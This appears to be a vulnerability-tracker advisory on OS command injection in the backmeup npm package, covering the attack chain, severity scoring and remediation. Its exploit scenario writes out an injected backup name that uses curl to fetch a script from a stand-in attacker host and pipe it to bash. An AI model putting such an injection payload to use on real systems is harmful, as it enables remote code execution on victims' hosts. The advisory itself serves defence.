Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate to application with low-privilege account
-
DeliverySubmit crafted input containing shell metacharacters in backup name or path field
-
ExploitApplication passes tainted value to backmeup option parameter
-
Executionbackmeup concatenates value into shell command string without sanitization
-
Persistssh2-exec or child_process.exec() invokes shell with injected command
-
ImpactArbitrary OS command executes on backup host or SSH target
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK
2 techniques across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires that the consuming application passes attacker-influenced values into at least one of backmeup's four options: name, source, destination, or filter. The CVE description explicitly cites a user-chosen backup name as a concrete vulnerable pattern. The attacker must hold application-level access sufficient to submit these option values, consistent with CVSS PR:L (low-privilege authenticated). No special operating system configuration is required; the vulnerability exists in the package's default code path for all executions. Exploitation is limited by: (1) application architecture - if all four option values are sourced exclusively from administrator-controlled configuration files or hardcoded constants, end users have no reachable injection point; (2) the target of arbitrary command execution is the backup host (local child_process mode) or the SSH remote target (SSH mode), not necessarily the web-tier server; (3) when SSH mode is not configured, impact is confined to the local host running the Node.js process. |
| Impact | The NVD CVSS 3.1 score of 8.8 with vector AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H is well-grounded in the described mechanics: the attack is network-reachable through whatever interface the consuming application exposes, requires no complex preconditions, demands only low-privilege authenticated access (consistent with a standard application user submitting a backup job), and yields full confidentiality, integrity, and availability impact on the execution host. S:U is appropriate because execution is confined to the backup host or SSH target rather than escaping to an additional security domain. EPSS data was not provided and exploitation probability cannot be quantified from available input. The vulnerability is not listed in CISA KEV and no public POC has been identified at time of analysis. Despite the absence of active exploitation evidence, real-world risk is meaningful for any multi-user application that exposes backup configuration through a UI or API - a common product pattern. Risk is bounded by the requirement that attacker-controlled values actually reach the backmeup call sites; applications where all options are hardcoded or admin-only are not exploitable by end users. |
| Exploit ScenarioDerived | An attacker with a low-privilege account in a web application offering user-initiated backup jobs submits a crafted backup name such as mybackup; curl http://attacker.example/payload.sh | bash through the application's backup name field or API parameter. The application passes this value to backmeup's name option without sanitization; backmeup concatenates it into a shell command string and passes it to child_process.exec() or ssh2-exec, which invokes the shell and executes the injected command. If the application is configured with an SSH handle for remote backups, the injected payload executes on the remote SSH target host rather than the local application server, potentially pivoting the attacker into a separate network segment. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 05, 2026
OS command injection in the backmeup npm package allows any attacker who can supply input to the package's name, source, destination, or filter options to execute arbitrary shell commands on the backup host or, when SSH mode is configured, on the remote SSH target. The flaw stems from direct string concatenation of option values into shell command strings executed via child_process or ssh2-exec, with no neutralization of metacharacters beyond path.normalize() and path.join(). No public exploit has been identified at time of analysis, but the CVSS vector (PR:L, AV:N, AC:L) indicates this is straightforwardly exploitable by any low-privilege application user whose input reaches the vulnerable call sites.
RemediationAI
No vendor-released patch has been identified at time of analysis. The sole reference in the advisory points to the upstream GitHub repository at https://github.com/adaltas/node-backmeup; no fixed npm release version has been confirmed from the available data. Application owners should immediately audit all call sites where backmeup option values derive from external input and apply strict allowlist validation - permitting only alphanumeric characters, hyphens, underscores, and filesystem path separators in name, source, destination, and filter values, and rejecting any input containing shell metacharacters (;, |, &, backtick, $, (, ), newline). The trade-off of this control is that it may reject legitimate backup paths containing special characters, so validate against actual operational requirements. Where feasible, replace backmeup with a backup library that uses execFile or spawn with an argument array rather than shell string construction, eliminating the metacharacter attack surface structurally. Monitor the npm registry and the upstream GitHub repository for a patched release and upgrade immediately upon availability.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
backmeup is a Node.js npm package providing backup orchestration. It constructs shell command strings by raw string concatenation - e.g., cmd = 'mkdir -p ' + path.join(info.destination, info.name) + '; ' - and dispatches the resulting string to ssh2-exec, which invokes child_process.exec() locally or executes via SSH when a remote ssh handle is supplied. The root cause is CWE-78 (Improper Neutralization of Special Elements Used in an OS Command): path.normalize() and path.join() handle filesystem path normalization but do not escape or strip shell metacharacters (;, |, &, $(), backticks, newline characters). The correct architecture is to use child_process.execFile() or spawn() with a discrete argument array, which bypasses shell interpretation entirely and makes metacharacter injection structurally impossible. No CPE string was provided in the input data; the affected artifact is the backmeup package on the npm registry, sourced from https://github.com/adaltas/node-backmeup.
Know when Node.js gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
PR:L reflects the need for application-level access to supply option values; AV:N is valid when the application exposes backup configuration over a network interface with no additional complexity.
Primary rating from Vendor (309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c).
CVSS VectorVendor: 309f9ea4-e3e9-4c6c-b79d-e8eb01244f2c
DescriptionCVE.org
The backmeup npm package assembles shell command strings by directly concatenating its option values (name, source, destination, filter) - e.g. cmd = "mkdir -p " + path.join(info.destination, info.name) + "; " - and executes the resulting string through a shell via ssh2-exec (locally via child_process, or remotely via SSH when an ssh handle is supplied), rather than using execFile/spawn with an argument array. The only processing applied is path.normalize()/path.join(), which do not neutralize shell metacharacters (;, |, &, $(), backticks, newline). Any application that passes attacker-influenced values into these options (e.g. a user-chosen backup name) is vulnerable to arbitrary OS command execution on the backup host, or on the remote SSH target when one is configured.
Articles & Coverage 1
Executive ViewAI
The backmeup npm package contains an OS command injection vulnerability (CVSS 8.8) that allows low-privilege users to execute arbitrary shell commands on backup hosts or remote SSH targets through unsanitized input to critical options. Organizations relying on backmeup for automated backups face immediate risk of backup data compromise, with no vendor patch currently available. The vulnerability's ease of exploitation combined with the critical role of backup infrastructure in disaster recovery creates significant operational and compliance risk.
Pending vendor patch, implement strict input validation and sanitization for all values provided to backmeup options using a hardened library such as shell-escape; operate backmeup processes with minimal required privileges; implement network segmentation to isolate backup infrastructure from critical production systems; and audit all data flows where untrusted input reaches backmeup parameters, restricting user-supplied values at application entry points.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation
A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could
FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote
Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour
Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t
Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete
Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc
An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi
Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin
A vulnerability in NuPoint Messenger (NPM) of Mitel MiCollab through 9.8.0.33 allows an unauthenticated attacker to cond
EUVD-2026-53316
GHSA-c6xg-rfqh-85cp
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB